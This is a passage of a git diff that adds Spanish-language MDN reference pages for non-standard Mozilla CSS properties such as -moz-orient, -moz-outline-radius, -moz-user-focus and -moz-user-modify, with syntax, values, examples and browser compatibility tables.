+  -moz-image-region: rect(0px, 4px, 4px, 0px);
+}
+#example-button:hover {
+  /* muestra sólo el área 4x4 a la derecha del primero para cuando pongamos el ratón sobre el botón */
+  -moz-image-region: rect(0px, 8px, 4px, 4px);
+}</pre>
diff --git a/files/es/web/css/-moz-orient/index.html b/files/es/web/css/-moz-orient/index.html
new file mode 100644
index 0000000000..171a8e47ef
--- /dev/null
+++ b/files/es/web/css/-moz-orient/index.html
@@ -0,0 +1,156 @@
+---
+title: '-moz-orient'
+slug: Web/CSS/-moz-orient
+translation_of: Web/CSS/-moz-orient
+---
+<div>{{CSSRef}}{{Non-standard_header}}</div>
+
+<p>The <code>-moz-orient</code> <a href="/en-US/docs/Web/CSS">CSS</a> especifica la orientación del elemento al que se aplica.</p>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Sintaxis">Sintaxis</h2>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h3 id="Valores">Valores</h3>
+
+<dl>
+ <dt><code>inline</code></dt>
+ <dd>El elemento se representa en la misma dirección que el eje del texto : horizontal para los modos de escritura horizontales , verticalmente para los modos de escritura vertical .</dd>
+ <dt><code>block</code></dt>
+ <dd>El elemento se representa de forma ortogonal al eje del texto : verticalmente para los modos de escritura horizontal , horizontal para los modos de escritura vertical .</dd>
+ <dt><code>horizontal</code></dt>
+ <dd>El elemento se representa horizontalmente.</dd>
+ <dt><code>vertical</code></dt>
+ <dd>El elemento se representa verticalmente.</dd>
+</dl>
+
+<h2 id="Ejemplos">Ejemplos</h2>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;p&gt;
+  The following progress meter
+  is horizontal (the default):
+&lt;/p&gt;
+&lt;progress max="100" value="75"&gt;&lt;/progress&gt;
+
+&lt;p&gt;
+ The following progress meter
+ is vertical:
+&lt;/p&gt;
+&lt;progress class="vert" max="100" value="75"&gt;&lt;/progress&gt;</pre>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css">.vert {
+  -moz-orient: vertical;
+  width: 16px;
+  height: 150px;
+}</pre>
+
+<h3 id="Resultado">Resultado</h3>
+
+<p>{{EmbedLiveSample("Examples","200","360")}}</p>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<p>Aunque <a href="https://lists.w3.org/Archives/Public/www-style/2014Jun/0396.html">somete</a> al W3C , con retroalimentación positiva inicial , esta propiedad no es todavía parte de ninguna especificación ; Actualmente , esto es una extensión de Mozilla-specific (that is, <code>-moz-orient</code>).</p>
+
+<h2 id="Compatibilidad_del_navegador">Compatibilidad del navegador</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Características</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>apoyo básico</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatGeckoDesktop("6.0")}}{{property_prefix("-moz")}}<sup>[1]</sup></td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+  <tr>
+   <td><code>auto</code> valor</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatGeckoDesktop("21.0")}}<sup>[2]</sup><br>
+    {{CompatNo}}{{CompatGeckoDesktop(40)}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+  <tr>
+   <td><br>
+    línea y el valor de bloqueo</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatGeckoDesktop(40)}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Caracteísticas</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>apoyo básico</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatGeckoMobile("6.0")}}{{property_prefix("-moz")}}<sup>[1]</sup></td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+  <tr>
+   <td><code>auto</code> valor</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatGeckoMobile("21.0")}}<sup>[2]</sup><br>
+    {{CompatNo}}{{CompatGeckoDesktop(40)}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+  <tr>
+   <td>línea y el valor de bloqueo</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatGeckoMobile(40)}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p> </p>
+
+<p>[1] In Gecko 6.0 {{geckoRelease("6.0")}}, error causado por verticales{{HTMLElement("progress")}} elementos para el procesamiento con las dimensiones de una barra horizontal. Esto se soluciona en Gecko 7.0 { { geckoRelease ( " 7.0 " ) } } .</p>
+
+<p>[2] El valor auto era equivalente a la horizontal.</p>
+
+<h2 id="Ver_también">Ver también</h2>
+
+<ul>
+ <li>{{cssxref("box-orient")}}</li>
+</ul>
diff --git a/files/es/web/css/-moz-outline-radius-bottomleft/index.html b/files/es/web/css/-moz-outline-radius-bottomleft/index.html
new file mode 100644
index 0000000000..b5103d501e
--- /dev/null
+++ b/files/es/web/css/-moz-outline-radius-bottomleft/index.html
@@ -0,0 +1,19 @@
+---
+title: '-moz-outline-radius-bottomleft'
+slug: Web/CSS/-moz-outline-radius-bottomleft
+tags:
+  - CSS
+  - No estandar
+  - Propiedad CSS
+  - Referencia CSS
+translation_of: Web/CSS/-moz-outline-radius-bottomleft
+---
+<div>{{Non-standard_header}}{{CSSRef}}</div>
+
+<h2 id="Summary">Summary</h2>
+
+<p>La propiedad  <a href="/en-US/docs/Web/CSS">CSS </a><code>-moz-outline-radius-bottomleft</code> establece, en aplicaciones Mozilla, el redondeado de la esquina inferior izquierda de un contorno.</p>
+
+<p>{{cssinfo}}</p>
+
+<p>Ver la propiedad {{cssxref("-moz-outline-radius")}} para más información.</p>
diff --git a/files/es/web/css/-moz-outline-radius-bottomright/index.html b/files/es/web/css/-moz-outline-radius-bottomright/index.html
new file mode 100644
index 0000000000..3d40fde4ce
--- /dev/null
+++ b/files/es/web/css/-moz-outline-radius-bottomright/index.html
@@ -0,0 +1,21 @@
+---
+title: '-moz-outline-radius-bottomright'
+slug: Web/CSS/-moz-outline-radius-bottomright
+tags:
+  - CSS
+  - No estandar
+  - Propiedad CSS
+  - Referencia CSS
+translation_of: Web/CSS/-moz-outline-radius-bottomright
+---
+<div>{{Non-standard_header}}{{CSSRef}}</div>
+
+<h2 id="Summary">Summary</h2>
+
+<p>La propiedad  <a href="/en-US/docs/Web/CSS">CSS </a><code>-moz-outline-radius-bottomright</code> establece, en aplicaciones Mozilla, el redondeado de la esquina inferior derecha de un contorno.</p>
+
+<p>
+ </p><p>{{cssinfo}}</p>
+<p></p>
+
+<p>Ver la propiedad  {{cssxref("-moz-outline-radius")}} para más información.</p>
diff --git a/files/es/web/css/-moz-outline-radius-topleft/index.html b/files/es/web/css/-moz-outline-radius-topleft/index.html
new file mode 100644
index 0000000000..045ff93826
--- /dev/null
+++ b/files/es/web/css/-moz-outline-radius-topleft/index.html
@@ -0,0 +1,19 @@
+---
+title: '-moz-outline-radius-topleft'
+slug: Web/CSS/-moz-outline-radius-topleft
+tags:
+  - CSS
+  - No estandar
+  - Propiedad CSS
+  - Referencia CSS
+translation_of: Web/CSS/-moz-outline-radius-topleft
+---
+<div>{{Non-standard_header}}{{CSSRef}}</div>
+
+<h2 id="Resumen">Resumen</h2>
+
+<p>La propiedad  <a href="/en-US/docs/Web/CSS">CSS </a><code>-moz-outline-radius-topleft</code> establece, en aplicaciones Mozilla, el redondeado de la esquina superior izquierda de un contorno.</p>
+
+<p>{{cssinfo}}</p>
+
+<p>Ver la propiedad  {{cssxref("-moz-outline-radius")}} para más información.</p>
diff --git a/files/es/web/css/-moz-outline-radius-topright/index.html b/files/es/web/css/-moz-outline-radius-topright/index.html
new file mode 100644
index 0000000000..cabb6e97a1
--- /dev/null
+++ b/files/es/web/css/-moz-outline-radius-topright/index.html
@@ -0,0 +1,19 @@
+---
+title: '-moz-outline-radius-topright'
+slug: Web/CSS/-moz-outline-radius-topright
+tags:
+  - CSS
+  - No estandar
+  - Propiedad CSS
+  - Referencia CSS
+translation_of: Web/CSS/-moz-outline-radius-topright
+---
+<div>{{Non-standard_header}}{{CSSRef}}</div>
+
+<h2 id="Resumen">Resumen</h2>
+
+<p>La propiedad  <a href="/en-US/docs/Web/CSS">CSS </a><code>-moz-outline-radius-topright</code> establece, en aplicaciones Mozilla, el redondeado de la esquina superior derecha de un contorno.</p>
+
+<p>{{cssinfo}}</p>
+
+<p>Ver la propiedad  {{cssxref("-moz-outline-radius")}} para más información.</p>
diff --git a/files/es/web/css/-moz-outline-radius/index.html b/files/es/web/css/-moz-outline-radius/index.html
new file mode 100644
index 0000000000..01370818bb
--- /dev/null
+++ b/files/es/web/css/-moz-outline-radius/index.html
@@ -0,0 +1,158 @@
+---
+title: '-moz-outline-radius'
+slug: Web/CSS/-moz-outline-radius
+tags:
+  - CSS
+  - No estándar(2)
+  - Referencia CSS
+translation_of: Web/CSS/-moz-outline-radius
+---
+<div>{{Non-standard_header}}{{CSSRef}}</div>
+
+<h2 id="Resumen">Resumen</h2>
+
+<p>En aplicaciones de Mozilla como Firefox, la propiedad CSS <code>-moz-outline-radius</code> puede ser usada para a los contornos de esquinas redondeadas. Un {{cssxref("outline")}} es una línea que es dibujada alrededor de los elementos, fuera del límite del borde, para hacer que el elemento destaque.</p>
+
+<p><code>-moz-outline-radius</code> es un atajo para establecer las cuatro propiedades{{cssxref("-moz-outline-radius-topleft")}}, {{cssxref("-moz-outline-radius-topright")}}, {{cssxref("-moz-outline-radius-bottomright")}} y {{cssxref("-moz-outline-radius-bottomleft")}}.</p>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Síntaxis">Síntaxis</h2>
+
+<pre class="brush:css">/* Un valor */
+-moz-outline-radius: 25px;
+
+/* Dos valores */
+-moz-outline-radius: 25px 1em;
+
+/* Tres valores */
+-moz-outline-radius: 25px 1em 12%;
+
+/* Cuator valores */
+-moz-outline-radius: 25px 1em 12% 4mm;
+
+/* valores globales */
+-moz-outline-radius: inherit;
+-moz-outline-radius: initial;
+-moz-outline-radius: unset;
+</pre>
+
+<h3 id="Valores">Valores</h3>
+
+<div class="note">Los contornos elípticos y los valores <code>&lt;porcentaje&gt;</code> se expresan de acuerdo a la síntaxis descrita en {{cssxref("border-radius")}}.</div>
+
+<p>Uno, dos,tres o cuatro valores  <code>&lt;outline-radius&gt;</code> , representan uno de los siguientes casos:</p>
+
+<dl>
+ <dt>{{cssxref("&lt;length&gt;")}}</dt>
+ <dd>Ver {{cssxref("&lt;length&gt;")}} para ver los posibles valores.</dd>
+ <dt>{{cssxref("&lt;percentage&gt;")}}</dt>
+ <dd>Un {{cssxref("&lt;percentage&gt;")}}; ver {{cssxref("border-radius")}} para más detalles.</dd>
+</dl>
+
+<ul>
+ <li>Si se establece un único valor se aplica a las cuatro esquinas-</li>
+ <li>Si se establecen dos valores, el primero se aplica a la esquina superior-izquierda e inferior-derecha y el segundo a las esquinas superior-derecha e inferior-izquierda</li>
+ <li>Si se establecen tres valores el primero se aplica a la esquina superior-izquierda, el segundo a las esquinas superior-derecha e inferior-izquierda y el tercero a la esquina inferior-derecha.</li>
+ <li>Si se establecen cautro valores el primero se aplica a la esquina superior-izquierda, el segundo a la esquina superior-derecha, el tercero la esquina inferior-derecha y el cuarto a la esquina inferior-izquierda.</li>
+</ul>
+
+<h3 id="Síntaxis_Formal">Síntaxis Formal</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Ejemplo">Ejemplo</h2>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;style&gt;
+p {
+border: 1px solid black; <code class="language-css"><span class="property token">
+outline</span><span class="punctuation token">:</span> dotted red<span class="punctuation token">;</span> <span class="property token">-moz-outline-radius</span><span class="punctuation token">:</span> <span class="number token">12%</span> <span class="number token">1</span>em <span class="number token">25</span>px<span class="punctuation token">;</span></code>
+}
+&lt;/style&gt; &lt;/head&gt;
+
+&lt;body&gt; &lt;p&gt;La propiedad  outline-style usando <code class="language-css"><span class="property token">-moz-outline-radius</span></code>&lt;/p&gt; &lt;/body&gt;
+
+&lt;head&gt; &lt;style&gt;
+p1 {
+border: 1px solid black; <code class="language-css"><span class="property token">outline</span><span class="punctuation token">:</span> dotted red<span class="punctuation token">; </span></code><code class="language-css"><span class="property token">
+-moz-outline-radius-topleft</span><span class="punctuation token">:</span> <span class="number token">12%</span><span class="punctuation token">;</span> <span class="property token">
+-moz-outline-radius-topright</span><span class="punctuation token">:</span> <span class="number token">1</span>em<span class="punctuation token">;</span> <span class="property token">
+-moz-outline-radius-bottomright</span><span class="punctuation token">:</span> <span class="number token">35</span>px<span class="punctuation token">;</span> <span class="property token">
+-moz-outline-radius-bottomleft</span><span class="punctuation token">:</span> <span class="number token">1</span>em<span class="punctuation token">;</span></code> }
+&lt;/style&gt; &lt;/head&gt;
+
+&lt;body&gt; &lt;p1&gt;La propiedad outline-style usando un <code class="language-css"><span class="property token">-moz-outline-radius-xxx más complicado</span></code>&lt;/p1&gt; &lt;/body&gt;
+</pre>
+
+<h3 id="Result"><strong>Result</strong></h3>
+
+<p>{{ EmbedLiveSample('Example', '', '', '', 'Web/CSS/-moz-outline-radius') }}</p>
+
+<h2 id="Notas">Notas</h2>
+
+<ul>
+ <li><code>Las esquinas con radio dotted</code> o <code>dashed</code> se muestran como solid, {{bug("382721")}}</li>
+ <li>Existe la posibilidad de que futuras versiones del motor Gecko/Firefox eliminen esta propiedad completamente. Ver {{bug("593717")}}.</li>
+</ul>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<p>Esta propiedad no se define es ningún estándar CSS.</p>
+
+<h2 id="Compatibilidad_con_los_distintos_navegadores">Compatibilidad con los distintos navegadores</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Característica</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Soporte básico</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatGeckoDesktop("1.8")}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Característica</th>
+   <th>Android</th>
+   <th>Android Webview</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>Firefox OS</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+   <th>Chrome for Android</th>
+  </tr>
+  <tr>
+   <td>Soporte básico</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatGeckoMobile("1.8")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
diff --git a/files/es/web/css/-moz-stack-sizing/index.html b/files/es/web/css/-moz-stack-sizing/index.html
new file mode 100644
index 0000000000..639c05d4a5
--- /dev/null
+++ b/files/es/web/css/-moz-stack-sizing/index.html
@@ -0,0 +1,57 @@
+---
+title: '-moz-stack-sizing'
+slug: Web/CSS/-moz-stack-sizing
+tags:
+  - CSS
+  - No estandar
+  - Referencia CSS
+  - XUL
+translation_of: Archive/Web/CSS/-moz-stack-sizing
+---
+<p>{{Non-standard_header}}{{CSSRef}} {{gecko_minversion_header("1.9.1")}}</p>
+
+<h2 id="Resumen">Resumen</h2>
+
+<p><code>-moz-stack-sizing</code> es una propiedad de CSS extendido. Normalmente, una {{XULElem("stack")}} cambiará su tamaño para que todos los elementos hijo sean completamente visibles. Por ejemplo, al mover un hijo de la pila lo suficientemente a la derecha anchará la plia para que el hijo permanezca visible.</p>
+
+<p>Si quieres evitar que la pila cambie de tamaño automáticamente puedes establecer <code>-moz-stack-sizing</code> a <code>ignore</code> en el hijo. La propiedad no se estable en la misma pila si no que se establece en los hijos de la pila. Esto permite ignorar a ciertos elementos hijos pero no a otros.</p>
+
+<p class="note"><strong>Nota:</strong> En versiones anteriores de Gecko  era posible solucionar el problema estableciendo un valor negativo muy grande como margen derecho e inferior para la pila y de igual manera unos márgenes inferior y derecho con grandes valores positivos para los hijos cuyo tamaño no quería ignorar. (El problema no afecta los hijos que se muevan en la parte inferior o izquierda de la pila.)</p>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Síntaxis">Síntaxis</h2>
+
+<pre class="brush:css">/* Palabras clave de los valores */
+-moz-stack-sizing: stretch-to-fit;
+-moz-stack-sizing: ignore;
+
+/* valores gloables */
+-moz-stack-sizing: inherit;
+-moz-stack-sizing: initial;
+-moz-stack-sizing: unset;
+</pre>
+
+<h3 id="Valores">Valores</h3>
+
+<dl>
+ <dt>stretch-to-fit</dt>
+ <dd>El hijo influirá en el tamaño de la pila.</dd>
+ <dt>ignore</dt>
+ <dd>La pila no tendrá en cuenta el hijo al calcular su tamaño..</dd>
+</dl>
+
+<h3 id="Síntaxis_Formal">Síntaxis Formal</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Ejemplos">Ejemplos</h2>
+
+<pre class="brush:css">.mainsheet {
+  -moz-stack-sizing: ignore;
+}
+</pre>
+
+<h2 id="Ver_además">Ver además</h2>
+
+<p>{{bug("346189")}}</p>
diff --git a/files/es/web/css/-moz-text-blink/index.html b/files/es/web/css/-moz-text-blink/index.html
new file mode 100644
index 0000000000..95f6961609
--- /dev/null
+++ b/files/es/web/css/-moz-text-blink/index.html
@@ -0,0 +1,95 @@
+---
+title: '-moz-text-blink'
+slug: Web/CSS/-moz-text-blink
+tags:
+  - CSS
+  - 'CSS:Entensiones de Mozilla'
+  - Referencia CSS
+translation_of: Archive/Web/CSS/-moz-text-blink
+---
+<div>{{CSSRef}} {{non-standard_header}}{{deprecated_header}}</div>
+
+<h2 id="Resumen">Resumen</h2>
+
+<p>La extensión de Mozilla no estándar  <code>-moz-text-blink</code> especifica si se establece el modo parpadeo.</p>
+
+<div class="note">
+<p>Firefox, que era el único de entre los navegadores más conocidos que lo soportaba, dejó de soportarla a partir de la versión 26. Esta propiedad no es soportadoa por ningún navegador en la actualizad.</p>
+</div>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Síntaxis">Síntaxis</h2>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h3 id="Valores">Valores</h3>
+
+<dl>
+ <dt>none</dt>
+ <dd>No produce parpadeo</dd>
+ <dt>blink</dt>
+ <dd>El texto parpade. Destacar que el hecho de que el texto no parpadee es una técnica para satisfacer <a href="http://www.w3.org/TR/UAAG/guidelines.html#tech-on-off-blinking-text" rel="external nofollow" title="http://www.w3.org/TR/UAAG/guidelines.html#tech-on-off-blinking-text">checkpoint 3.3 of WAI-UAAG</a>.</dd>
+</dl>
+
+<h2 id="Ejemplo">Ejemplo</h2>
+
+<pre class="brush:css">.example {
+  -moz-text-blink: blink;
+}</pre>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<p>Esta propiedad fue definida en un <a href="http://www.w3.org/TR/2003/CR-css3-text-20030514/#text-blink">antiguo borrador de la especificación CSS 3 </a>. La versiones nuevas eliminaron esta definición.</p>
+
+<h2 id="Compatibilidad_con_los_distintos_navegadores">Compatibilidad con los distintos navegadores</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Característica</th>
+   <th>Firefox (Gecko)</th>
+   <th>Chrome</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Soporte básico</td>
+   <td>{{CompatGeckoDesktop("6.0")}}<br>
+    Removed in {{CompatGeckoDesktop("26.0")}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Característica</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>Android</th>
+   <th>IE Phone</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Soporte básico</td>
+   <td>{{CompatGeckoMobile("6.0")}}<br>
+    Removed in {{CompatGeckoMobile("26.0")}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
diff --git a/files/es/web/css/-moz-user-focus/index.html b/files/es/web/css/-moz-user-focus/index.html
new file mode 100644
index 0000000000..f945c3e64b
--- /dev/null
+++ b/files/es/web/css/-moz-user-focus/index.html
@@ -0,0 +1,113 @@
+---
+title: '-moz-user-focus'
+slug: Web/CSS/-moz-user-focus
+tags:
+  - CSS
+  - 'CSS:Extensiones Mozilla'
+  - Referencia CSS
+translation_of: Web/CSS/-moz-user-focus
+---
+<div>{{Non-standard_header}}</div>
+
+<h2 id="Resumen">Resumen</h2>
+
+<p>La propiedad <a href="/es/docs/Web/CSS">CSS </a><code>-moz-user-focus</code>se usa para indicar si el elemento puedo obtener el foco.</p>
+
+<p>Al poner el valor de esta propiedad a <code>ignore</code>, deshabilitas el hecho de que el elemento pueda obtener el foco lo que significa que el usuario no podrá activar el elemento. Se saltará el elemento es un secuncia de tabuladores.</p>
+
+<p>{{cssinfo}}</p>
+
+<div class="note"><strong>Nota:</strong> Esta propiedad no funciona con los elementos XUL {{XULElem("textbox")}} , porque el <code>textbox</code> en sí mismo nunca tomará el foco. En su lugar , XBL crea un elemento HTML  {{HTMLElement("input")}} anónimo dentro del <code>textbox</code>, y es ese elemento el que recibe el foco. Se puede evitar que el <code>textbox</code> obtenga el foco de teclado estableciendo su índice de tabulación a <code>-1</code>, y que obtenga el foco del ratón evitando la acción por defecto para los eventos <code>mousedown</code>.</div>
+
+<h2 id="Síntaxis">Síntaxis</h2>
+
+<pre class="brush:css">/* Palabras clave de valores */
+-moz-user-focus: normal;
+-moz-user-focus: ignore;
+
+/* Valores gloables */
+-moz-user-focus: inherit;
+-moz-user-focus: initial;
+-moz-user-focus: unset;
+</pre>
+
+<h3 id="Valores">Valores</h3>
+
+<dl>
+ <dt><code>ignore</code></dt>
+ <dd>El elemento no aceptará el foco y será saltado en el orden de tabulación.</dd>
+ <dt><code>normal</code></dt>
+ <dd>El elemento puedeo aceptar el foco del teclado.</dd>
+ <dt><code>select-after</code></dt>
+ <dd>?</dd>
+ <dt><code>select-before</code></dt>
+ <dd>?</dd>
+ <dt><code>select-menu</code></dt>
+ <dd>?</dd>
+ <dt><code>select-same</code></dt>
+ <dd>?</dd>
+ <dt><code>select-all</code></dt>
+ <dd>?</dd>
+ <dt><code>none</code></dt>
+ <dd>?</dd>
+</dl>
+
+<h3 id="Síntaxis_Formal">Síntaxis Formal</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<p>Esta propiedad no es parte de ninguna especificación. Una propiedad similar <code>user-focus</code> fue propuesta en <a class="external" href="http://www.w3.org/TR/2000/WD-css3-userint-20000216">borradores previos de la especificación CSS 3 UI</a> pero finalmente fué rechazada por el grupo de trabajo.</p>
+
+<h2 id="Compatibilidad_con_los_distintos_navegadores">Compatibilidad con los distintos navegadores</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Característica</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Soporte básico</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Característica</th>
+   <th>Android</th>
+   <th>Chrome for Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Soporte básico</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
diff --git a/files/es/web/css/-moz-user-input/index.html b/files/es/web/css/-moz-user-input/index.html
new file mode 100644
index 0000000000..f94b13f1b3
--- /dev/null
+++ b/files/es/web/css/-moz-user-input/index.html
@@ -0,0 +1,64 @@
+---
+title: '-moz-user-input'
+slug: Web/CSS/-moz-user-input
+tags:
+  - CSS
+  - No estandar
+  - Referencia CSS
+translation_of: Web/CSS/-moz-user-input
+---
+<div>{{Non-standard_header}}{{CSSRef}}</div>
+
+<h2 id="Resumen">Resumen</h2>
+
+<p>En las aplicaciones Mozilla , <code>-moz-user-input</code> determina si un elemento aceptará entrada por parte del usuario. <code>user-focus, </code>una propiedad similar fue propuesta en  <a class="external" href="http://www.w3.org/TR/2000/WD-css3-userint-20000216">primeros borradores de un predecesor de la especificación CSS3 UI</a> pero fue rechazada posteriormente por el grupo de trabajo..</p>
+
+<p>{{cssinfo}}</p>
+
+<p><code>-moz-user-input</code> fue was one of the proposals leading to the proposed CSS 3 {{cssxref("user-input")}} property, which has not yet reached Candidate Recommendation (call for implementations).</p>
+
+<p>Para elementos que normalmente son receptores de entrada por parte del usuario, como  {{HTMLElement("textarea")}}, el valor inicial de <code>-moz-user-input</code> es <code>enabled</code>.</p>
+
+<h2 id="Síntaxis">Síntaxis</h2>
+
+<pre class="brush:css">/* Palabras clave valor */
+-moz-user-input: none;
+-moz-user-input: enabled;
+-moz-user-input: disabled;
+
+/* Valores gloables */
+-moz-user-input: inherit;
+-moz-user-input: initial;
+-moz-user-input: unset;
+</pre>
+
+<h3 id="Valores">Valores</h3>
+
+<dl>
+ <dt>none</dt>
+ <dd>El elemento no responde a la entrada de datos por parte del usuario y no estará {{Cssxref(":active")}}.</dd>
+ <dt>enabled</dt>
+ <dd>El elemento acepta entrada por parte del usuario. Para cajas de texto es el comportamiento por defecto.</dd>
+ <dt>disabled</dt>
+ <dd>El elemento no acepta datos del usuario. Sin embargo, no es lo mismo que establecer  {{XULAttr("disabled")}} a true, en ese caso el elemento es dibujado normalmente.</dd>
+</dl>
+
+<h3 id="Síntaxis_Formal">Síntaxis Formal</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Ejemplos">Ejemplos</h2>
+
+<pre class="brush:css">input.example {
+  /* the user will be able to select the text, but not change it. */
+  -moz-user-input: disabled;
+}
+</pre>
+
+<h2 id="Ver_además">Ver además</h2>
+
+<ul>
+ <li>{{cssxref("-moz-user-focus")}}</li>
+ <li>{{cssxref("-moz-user-modify")}}</li>
+ <li>{{cssxref("-moz-user-select")}}</li>
+</ul>
diff --git a/files/es/web/css/-moz-user-modify/index.html b/files/es/web/css/-moz-user-modify/index.html
new file mode 100644
index 0000000000..21b9593d93
--- /dev/null
+++ b/files/es/web/css/-moz-user-modify/index.html
@@ -0,0 +1,132 @@
+---
+title: '-moz-user-modify'
+slug: Web/CSS/-moz-user-modify
+tags:
+  - CSS
+  - No estándar(2)
+  - Referencia CSS
+translation_of: Web/CSS/user-modify
+---
+<div>{{Non-standard_header}}{{CSSRef}}</div>
+
+<h2 id="Resumen">Resumen</h2>
+
+<p>La propiedad <code>-moz-user-modify</code> determina si el contenido de un elemento puede ser editado por el usuario. Se relaciona con el atributo {{htmlattrxref("contenteditable")}} .  <code>user-focus</code> , que es una propiedad similar, fue propuesta como parte de los <a class="external" href="http://www.w3.org/TR/2000/WD-css3-userint-20000216">borradores iniciales de un predecesor de la especificación CSS3 UI</a> ,pero fue rechazada por el grupo de trabajo.</p>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Síntaxis">Síntaxis</h2>
+
+<pre class="brush:css">/* Palabras clave valor */
+-moz-user-modify: read-only;
+-moz-user-modify: read-write;
+-moz-user-modify: write-only;
+
+/* Valores globales */
+-moz-user-modify: inherit;
+-moz-user-modify: initial;
+-moz-user-modify: unset;
+</pre>
+
+<h3 id="Valores">Valores</h3>
+
+<dl>
+ <dt>read-only</dt>
+ <dd>Valor por defecto. El contenido sólo se puede leer.</dd>
+ <dt>read-write</dt>
